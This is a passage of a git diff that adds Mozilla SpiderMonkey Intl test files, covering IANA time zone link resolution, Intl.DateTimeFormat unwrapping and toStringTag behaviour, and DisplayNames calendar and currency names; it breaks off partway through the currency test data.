+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js
new file mode 100644
index 0000000000..2a0f982c5c
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2021a
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, backward file.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "America/Atka": "America/Adak",
+ "America/Buenos_Aires": "America/Argentina/Buenos_Aires",
+ "America/Catamarca": "America/Argentina/Catamarca",
+ "America/Cordoba": "America/Argentina/Cordoba",
+ "America/Fort_Wayne": "America/Indiana/Indianapolis",
+ "America/Godthab": "America/Nuuk",
+ "America/Indianapolis": "America/Indiana/Indianapolis",
+ "America/Jujuy": "America/Argentina/Jujuy",
+ "America/Knox_IN": "America/Indiana/Knox",
+ "America/Louisville": "America/Kentucky/Louisville",
+ "America/Mendoza": "America/Argentina/Mendoza",
+ "America/Porto_Acre": "America/Rio_Branco",
+ "America/Santa_Isabel": "America/Tijuana",
+ "America/Shiprock": "America/Denver",
+ "America/Virgin": "America/Port_of_Spain",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Asia/Ashkhabad": "Asia/Ashgabat",
+ "Asia/Calcutta": "Asia/Kolkata",
+ "Asia/Chungking": "Asia/Chongqing",
+ "Asia/Dacca": "Asia/Dhaka",
+ "Asia/Katmandu": "Asia/Kathmandu",
+ "Asia/Macao": "Asia/Macau",
+ "Asia/Rangoon": "Asia/Yangon",
+ "Asia/Saigon": "Asia/Ho_Chi_Minh",
+ "Asia/Thimbu": "Asia/Thimphu",
+ "Asia/Ujung_Pandang": "Asia/Makassar",
+ "Asia/Ulan_Bator": "Asia/Ulaanbaatar",
+ "Atlantic/Faeroe": "Atlantic/Faroe",
+ "Australia/ACT": "Australia/Sydney",
+ "Australia/Canberra": "Australia/Sydney",
+ "Australia/LHI": "Australia/Lord_Howe",
+ "Australia/NSW": "Australia/Sydney",
+ "Australia/North": "Australia/Darwin",
+ "Australia/Queensland": "Australia/Brisbane",
+ "Australia/South": "Australia/Adelaide",
+ "Australia/Tasmania": "Australia/Hobart",
+ "Australia/Victoria": "Australia/Melbourne",
+ "Australia/West": "Australia/Perth",
+ "Australia/Yancowinna": "Australia/Broken_Hill",
+ "Brazil/Acre": "America/Rio_Branco",
+ "Brazil/DeNoronha": "America/Noronha",
+ "Brazil/East": "America/Sao_Paulo",
+ "Brazil/West": "America/Manaus",
+ "Canada/Atlantic": "America/Halifax",
+ "Canada/Central": "America/Winnipeg",
+ "Canada/Eastern": "America/Toronto",
+ "Canada/Mountain": "America/Edmonton",
+ "Canada/Newfoundland": "America/St_Johns",
+ "Canada/Pacific": "America/Vancouver",
+ "Canada/Saskatchewan": "America/Regina",
+ "Canada/Yukon": "America/Whitehorse",
+ "Chile/Continental": "America/Santiago",
+ "Chile/EasterIsland": "Pacific/Easter",
+ "Cuba": "America/Havana",
+ "Egypt": "Africa/Cairo",
+ "Eire": "Europe/Dublin",
+ "Etc/UCT": "Etc/UTC",
+ "GB": "Europe/London",
+ "GB-Eire": "Europe/London",
+ "GMT+0": "Etc/GMT",
+ "GMT-0": "Etc/GMT",
+ "GMT0": "Etc/GMT",
+ "Greenwich": "Etc/GMT",
+ "Hongkong": "Asia/Hong_Kong",
+ "Iceland": "Atlantic/Reykjavik",
+ "Iran": "Asia/Tehran",
+ "Israel": "Asia/Jerusalem",
+ "Jamaica": "America/Jamaica",
+ "Japan": "Asia/Tokyo",
+ "Kwajalein": "Pacific/Kwajalein",
+ "Libya": "Africa/Tripoli",
+ "Mexico/BajaNorte": "America/Tijuana",
+ "Mexico/BajaSur": "America/Mazatlan",
+ "Mexico/General": "America/Mexico_City",
+ "NZ": "Pacific/Auckland",
+ "NZ-CHAT": "Pacific/Chatham",
+ "Navajo": "America/Denver",
+ "PRC": "Asia/Shanghai",
+ "Pacific/Ponape": "Pacific/Pohnpei",
+ "Pacific/Samoa": "Pacific/Pago_Pago",
+ "Pacific/Truk": "Pacific/Chuuk",
+ "Pacific/Yap": "Pacific/Chuuk",
+ "Poland": "Europe/Warsaw",
+ "Portugal": "Europe/Lisbon",
+ "ROC": "Asia/Taipei",
+ "ROK": "Asia/Seoul",
+ "Singapore": "Asia/Singapore",
+ "Turkey": "Europe/Istanbul",
+ "UCT": "Etc/UTC",
+ "US/Alaska": "America/Anchorage",
+ "US/Aleutian": "America/Adak",
+ "US/Arizona": "America/Phoenix",
+ "US/Central": "America/Chicago",
+ "US/East-Indiana": "America/Indiana/Indianapolis",
+ "US/Eastern": "America/New_York",
+ "US/Hawaii": "Pacific/Honolulu",
+ "US/Indiana-Starke": "America/Indiana/Knox",
+ "US/Michigan": "America/Detroit",
+ "US/Mountain": "America/Denver",
+ "US/Pacific": "America/Los_Angeles",
+ "US/Samoa": "Pacific/Pago_Pago",
+ "UTC": "Etc/UTC",
+ "Universal": "Etc/UTC",
+ "W-SU": "Europe/Moscow",
+ "Zulu": "Etc/UTC",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js
new file mode 100644
index 0000000000..ad5c0d1d4f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js
@@ -0,0 +1,115 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2021a
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below is its own Zone, not
+// a Link to a modern-day target as IANA ignoring backzones would say.
+
+// Backzone zones derived from IANA Time Zone Database.
+const links = {
+ "Africa/Addis_Ababa": "Africa/Addis_Ababa",
+ "Africa/Asmara": "Africa/Asmara",
+ "Africa/Bamako": "Africa/Bamako",
+ "Africa/Bangui": "Africa/Bangui",
+ "Africa/Banjul": "Africa/Banjul",
+ "Africa/Blantyre": "Africa/Blantyre",
+ "Africa/Brazzaville": "Africa/Brazzaville",
+ "Africa/Bujumbura": "Africa/Bujumbura",
+ "Africa/Conakry": "Africa/Conakry",
+ "Africa/Dakar": "Africa/Dakar",
+ "Africa/Dar_es_Salaam": "Africa/Dar_es_Salaam",
+ "Africa/Djibouti": "Africa/Djibouti",
+ "Africa/Douala": "Africa/Douala",
+ "Africa/Freetown": "Africa/Freetown",
+ "Africa/Gaborone": "Africa/Gaborone",
+ "Africa/Harare": "Africa/Harare",
+ "Africa/Kampala": "Africa/Kampala",
+ "Africa/Kigali": "Africa/Kigali",
+ "Africa/Kinshasa": "Africa/Kinshasa",
+ "Africa/Libreville": "Africa/Libreville",
+ "Africa/Lome": "Africa/Lome",
+ "Africa/Luanda": "Africa/Luanda",
+ "Africa/Lubumbashi": "Africa/Lubumbashi",
+ "Africa/Lusaka": "Africa/Lusaka",
+ "Africa/Malabo": "Africa/Malabo",
+ "Africa/Maseru": "Africa/Maseru",
+ "Africa/Mbabane": "Africa/Mbabane",
+ "Africa/Mogadishu": "Africa/Mogadishu",
+ "Africa/Niamey": "Africa/Niamey",
+ "Africa/Nouakchott": "Africa/Nouakchott",
+ "Africa/Ouagadougou": "Africa/Ouagadougou",
+ "Africa/Porto-Novo": "Africa/Porto-Novo",
+ "Africa/Timbuktu": "Africa/Timbuktu",
+ "America/Anguilla": "America/Anguilla",
+ "America/Antigua": "America/Antigua",
+ "America/Argentina/ComodRivadavia": "America/Argentina/ComodRivadavia",
+ "America/Aruba": "America/Aruba",
+ "America/Cayman": "America/Cayman",
+ "America/Coral_Harbour": "America/Coral_Harbour",
+ "America/Dominica": "America/Dominica",
+ "America/Ensenada": "America/Ensenada",
+ "America/Grenada": "America/Grenada",
+ "America/Guadeloupe": "America/Guadeloupe",
+ "America/Montreal": "America/Montreal",
+ "America/Montserrat": "America/Montserrat",
+ "America/Rosario": "America/Rosario",
+ "America/St_Kitts": "America/St_Kitts",
+ "America/St_Lucia": "America/St_Lucia",
+ "America/St_Thomas": "America/St_Thomas",
+ "America/St_Vincent": "America/St_Vincent",
+ "America/Tortola": "America/Tortola",
+ "Antarctica/McMurdo": "Antarctica/McMurdo",
+ "Asia/Aden": "Asia/Aden",
+ "Asia/Bahrain": "Asia/Bahrain",
+ "Asia/Chongqing": "Asia/Chongqing",
+ "Asia/Harbin": "Asia/Harbin",
+ "Asia/Kashgar": "Asia/Kashgar",
+ "Asia/Kuwait": "Asia/Kuwait",
+ "Asia/Muscat": "Asia/Muscat",
+ "Asia/Phnom_Penh": "Asia/Phnom_Penh",
+ "Asia/Tel_Aviv": "Asia/Tel_Aviv",
+ "Asia/Vientiane": "Asia/Vientiane",
+ "Atlantic/Jan_Mayen": "Atlantic/Jan_Mayen",
+ "Atlantic/St_Helena": "Atlantic/St_Helena",
+ "Australia/Currie": "Australia/Currie",
+ "Europe/Belfast": "Europe/Belfast",
+ "Europe/Guernsey": "Europe/Guernsey",
+ "Europe/Isle_of_Man": "Europe/Isle_of_Man",
+ "Europe/Jersey": "Europe/Jersey",
+ "Europe/Ljubljana": "Europe/Ljubljana",
+ "Europe/Sarajevo": "Europe/Sarajevo",
+ "Europe/Skopje": "Europe/Skopje",
+ "Europe/Tiraspol": "Europe/Tiraspol",
+ "Europe/Vaduz": "Europe/Vaduz",
+ "Europe/Zagreb": "Europe/Zagreb",
+ "Indian/Antananarivo": "Indian/Antananarivo",
+ "Indian/Comoro": "Indian/Comoro",
+ "Indian/Mayotte": "Indian/Mayotte",
+ "Pacific/Johnston": "Pacific/Johnston",
+ "Pacific/Midway": "Pacific/Midway",
+ "Pacific/Saipan": "Pacific/Saipan",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js
new file mode 100644
index 0000000000..98357774dc
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2021a
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// This file was generated with historical, pre-1970 backzone information
+// respected. Therefore, every zone key listed below points to a target
+// in the backzone file and not to its modern-day target as IANA ignoring
+// backzones would say.
+
+// Backzone links derived from IANA Time Zone Database.
+const links = {
+ "Africa/Asmera": "Africa/Asmara",
+ "Antarctica/South_Pole": "Antarctica/McMurdo",
+ "Asia/Chungking": "Asia/Chongqing",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js
new file mode 100644
index 0000000000..01f9ce719a
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2021a
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+// Link names derived from IANA Time Zone Database, excluding backward file.
+const links = {
+ "America/Kralendijk": "America/Curacao",
+ "America/Lower_Princes": "America/Curacao",
+ "America/Marigot": "America/Port_of_Spain",
+ "America/St_Barthelemy": "America/Port_of_Spain",
+ "Arctic/Longyearbyen": "Europe/Oslo",
+ "Asia/Istanbul": "Europe/Istanbul",
+ "Etc/GMT+0": "Etc/GMT",
+ "Etc/GMT-0": "Etc/GMT",
+ "Etc/GMT0": "Etc/GMT",
+ "Etc/Greenwich": "Etc/GMT",
+ "Etc/Universal": "Etc/UTC",
+ "Etc/Zulu": "Etc/UTC",
+ "Europe/Bratislava": "Europe/Prague",
+ "Europe/Busingen": "Europe/Zurich",
+ "Europe/Mariehamn": "Europe/Helsinki",
+ "Europe/Nicosia": "Asia/Nicosia",
+ "Europe/Podgorica": "Europe/Belgrade",
+ "Europe/San_Marino": "Europe/Rome",
+ "Europe/Vatican": "Europe/Rome",
+ "GMT": "Etc/GMT",
+};
+
+for (let [linkName, target] of Object.entries(links)) {
+ if (target === "Etc/UTC" || target === "Etc/GMT")
+ target = "UTC";
+
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(linkName)});
+ let resolvedTimeZone = dtf.resolvedOptions().timeZone;
+ assertEq(resolvedTimeZone, target, `${linkName} -> ${target}`);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js
new file mode 100644
index 0000000000..6b6b71e04b
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Generated by make_intl_data.py. DO NOT EDIT.
+// tzdata version = 2021a
+const tzdata = "2021a";
+
+if (typeof getICUOptions === "undefined") {
+ var getICUOptions = SpecialPowers.Cu.getJSTestingFunctions().getICUOptions;
+}
+
+var options = getICUOptions();
+
+assertEq(options.tzdata, tzdata);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js b/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js
new file mode 100644
index 0000000000..136632f71f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.DateTimeFormat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object Intl.DateTimeFormat]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object Intl.DateTimeFormat]");
+
+Object.defineProperty(Intl.DateTimeFormat.prototype, Symbol.toStringTag, {value: "DateTimeFormat"});
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object DateTimeFormat]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object DateTimeFormat]");
+
+delete Intl.DateTimeFormat.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.DateTimeFormat.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.DateTimeFormat), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js b/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js
new file mode 100644
index 0000000000..6128abb9d1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||(xulRuntime.OS=="WINNT"&&!xulRuntime.shell)) -- Windows browser in automation doesn't pick up new time zones correctly
+
+// From bug 1330149:
+//
+// Windows only supports a very limited set of IANA time zone names for the TZ
+// environment variable.
+//
+// TZ format supported by Windows: "TZ=tzn[+|-]hh[:mm[:ss]][dzn]".
+//
+// Complete list of all IANA time zone ids matching that format.
+//
+// From tzdata's "northamerica" file:
+// EST5EDT
+// CST6CDT
+// MST7MDT
+// PST8PDT
+//
+// From tzdata's "backward" file:
+// GMT+0
+// GMT-0
+// GMT0
+//
+// Also supported on Windows even though they don't match the format listed
+// above.
+//
+// From tzdata's "backward" file:
+// UCT
+// UTC
+//
+// From tzdata's "etcetera" file:
+// GMT
+
+function inTimeZone(tzname, fn) {
+ setTimeZone(tzname);
+ try {
+ fn();
+ } finally {
+ setTimeZone("PST8PDT");
+ }
+}
+
+const timeZones = [
+ { id: "EST5EDT" },
+ { id: "CST6CDT" },
+ { id: "MST7MDT" },
+ { id: "PST8PDT" },
+ // ICU on non-Windows platforms doesn't accept these three time zone
+ // identifiers, cf. isValidOlsonID in $ICU/source/common/putil.cpp. We
+ // could add support for them, but it seems unlikely they're used in
+ // practice, so we just skip over them.
+ // { id: "GMT+0", normalized: "UTC" },
+ // { id: "GMT-0", normalized: "UTC" },
+ // { id: "GMT0", normalized: "UTC" },
+ { id: "UCT", normalized: "UTC" },
+ { id: "UTC", normalized: "UTC" },
+ { id: "GMT", normalized: "UTC" },
+];
+
+for (let {id, normalized = id} of timeZones) {
+ inTimeZone(id, () => {
+ let opts = new Intl.DateTimeFormat().resolvedOptions();
+ assertEq(opts.timeZone, normalized);
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js b/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js
new file mode 100644
index 0000000000..579ba5bbcb
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js
@@ -0,0 +1,247 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test UnwrapDateTimeFormat operation.
+
+const dateTimeFormatFunctions = [];
+dateTimeFormatFunctions.push({
+ function: Intl.DateTimeFormat.prototype.resolvedOptions,
+ unwrap: true,
+});
+dateTimeFormatFunctions.push({
+ function: Object.getOwnPropertyDescriptor(Intl.DateTimeFormat.prototype, "format").get,
+ unwrap: true,
+});
+dateTimeFormatFunctions.push({
+ function: Intl.DateTimeFormat.prototype.formatToParts,
+ unwrap: false,
+});
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function intlObjects(ctor) {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+}
+
+function thisValues(C) {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.filter(ctor => ctor !== C).map(intlObjects)),
+
+ // Object inheriting from an Intl constructor prototype.
+ ...intlConstructors.map(ctor => Object.create(ctor.prototype)),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.DateTimeFormat.call(Object.create(Intl.DateTimeFormat.prototype)))[0];
+
+// Test Intl.DateTimeFormat.prototype methods.
+for (let {function: dateTimeFormatFunction, unwrap} of dateTimeFormatFunctions) {
+ // Test a TypeError is thrown when the this-value isn't an initialized
+ // Intl.DateTimeFormat instance.
+ for (let thisValue of thisValues(Intl.DateTimeFormat)) {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+ }
+
+ // And test no error is thrown for initialized Intl.DateTimeFormat instances.
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ dateTimeFormatFunction.call(thisValue);
+ }
+
+ // Manually add [[FallbackSymbol]] to objects and then repeat the tests from above.
+ for (let thisValue of thisValues(Intl.DateTimeFormat)) {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call({
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ }), TypeError);
+ }
+
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ let obj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ };
+ if (unwrap) {
+ dateTimeFormatFunction.call(obj);
+ } else {
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(obj), TypeError);
+ }
+ }
+
+ // Ensure [[FallbackSymbol]] isn't retrieved for Intl.DateTimeFormat instances.
+ for (let thisValue of intlObjects(Intl.DateTimeFormat)) {
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ dateTimeFormatFunction.call(thisValue);
+ }
+
+ // Ensure [[FallbackSymbol]] is only retrieved for objects inheriting from Intl.DateTimeFormat.prototype.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsObject)) {
+ if (Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue))
+ continue;
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+ }
+
+ // Repeat the test from above, but also change Intl.DateTimeFormat[@@hasInstance]
+ // so it always returns |null|.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsObject)) {
+ let hasInstanceCalled = false, symbolGetterCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() {
+ assertEq(symbolGetterCalled, false);
+ symbolGetterCalled = true;
+ return null;
+ }, configurable: true
+ });
+
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(hasInstanceCalled, unwrap);
+ assertEq(symbolGetterCalled, unwrap);
+ }
+
+ // Test with primitive values.
+ for (let thisValue of thisValues(Intl.DateTimeFormat).filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let isUndefinedOrNull = thisValue === undefined || thisValue === null;
+ let symbolHolder;
+ if (!isUndefinedOrNull) {
+ // Ensure the fallback symbol isn't retrieved from the primitive wrapper prototype.
+ symbolHolder = Object.getPrototypeOf(thisValue);
+ Object.defineProperty(symbolHolder, intlFallbackSymbol, {
+ get() { assertEq(true, false); }, configurable: true
+ });
+ }
+
+ assertThrowsInstanceOf(() => dateTimeFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+ if (!isUndefinedOrNull)
+ delete symbolHolder[intlFallbackSymbol];
+ }
+}
+
+// Test format() returns the correct result for objects initialized as Intl.DateTimeFormat instances.
+{
+ // An actual Intl.DateTimeFormat instance.
+ let dateTimeFormat = new Intl.DateTimeFormat();
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: dateTimeFormat,
+ };
+
+ for (let number of [0, Date.now(), -Date.now()]) {
+ let expected = dateTimeFormat.format(number);
+ assertEq(thisValue.format(number), expected);
+ assertEq(thisValue[intlFallbackSymbol].format(number), expected);
+ assertEq(fakeObj.format(number), expected);
+ }
+}
+
+// Ensure formatToParts() doesn't use the fallback semantics.
+{
+ let formatToParts = Intl.DateTimeFormat.prototype.formatToParts;
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+ assertThrowsInstanceOf(() => formatToParts.call(thisValue), TypeError);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: new Intl.DateTimeFormat(),
+ };
+ assertThrowsInstanceOf(() => formatToParts.call(fakeObj), TypeError);
+}
+
+// Test resolvedOptions() returns the same results.
+{
+ // An actual Intl.DateTimeFormat instance.
+ let dateTimeFormat = new Intl.DateTimeFormat();
+
+ // An object initialized as a DateTimeFormat instance.
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to DateTimeFormat instance.
+ let fakeObj = {
+ __proto__: Intl.DateTimeFormat.prototype,
+ [intlFallbackSymbol]: dateTimeFormat,
+ };
+
+ function assertEqOptions(actual, expected) {
+ actual = Object.entries(actual);
+ expected = Object.entries(expected);
+
+ assertEq(actual.length, expected.length, "options count mismatch");
+ for (var i = 0; i < expected.length; i++) {
+ assertEq(actual[i][0], expected[i][0], "key mismatch at " + i);
+ assertEq(actual[i][1], expected[i][1], "value mismatch at " + i);
+ }
+ }
+
+ let expected = dateTimeFormat.resolvedOptions();
+ assertEqOptions(thisValue.resolvedOptions(), expected);
+ assertEqOptions(thisValue[intlFallbackSymbol].resolvedOptions(), expected);
+ assertEqOptions(fakeObj.resolvedOptions(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/browser.js b/js/src/tests/non262/Intl/DisplayNames/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/browser.js
diff --git a/js/src/tests/non262/Intl/DisplayNames/calendar.js b/js/src/tests/non262/Intl/DisplayNames/calendar.js
new file mode 100644
index 0000000000..9a7d9abdaa
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/calendar.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+let dn1 = new Intl.DisplayNames("en", {type: "month", calendar: "gregory"});
+assertEq(dn1.of(1), "January");
+assertEq(dn1.resolvedOptions().calendar, "gregory");
+
+let dn2 = new Intl.DisplayNames("en", {type: "month", calendar: "hebrew"});
+assertEq(dn2.of(1), "Tishri");
+assertEq(dn2.resolvedOptions().calendar, "hebrew");
+
+let dn3 = new Intl.DisplayNames("en", {type: "month", calendar: "islamicc"});
+assertEq(dn3.of(1), "Muharram");
+assertEq(dn3.resolvedOptions().calendar, "islamic-civil");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/currency.js b/js/src/tests/non262/Intl/DisplayNames/currency.js
new file mode 100644
index 0000000000..1571249106
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/currency.js
@@ -0,0 +1,150 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "USD": "US Dollar",
+ "EUR": "Euro",
+ "FRF": "French Franc",
+ "CNY": "Chinese Yuan",
+ "XAU": "Gold",
+ },
+ short: {
+ "USD": "$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "CN¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "USD",
+ "EUR": "EUR",
+ "CNY": "CNY",
+ },
+ },
+ "de": {
+ long: {
+ "USD": "US-Dollar",
+ "EUR": "Euro",
+ "FRF": "Französischer Franc",
+ "CNY": "Renminbi Yuan",
+ "XAU": "Unze Gold",
+ },
+ short: {
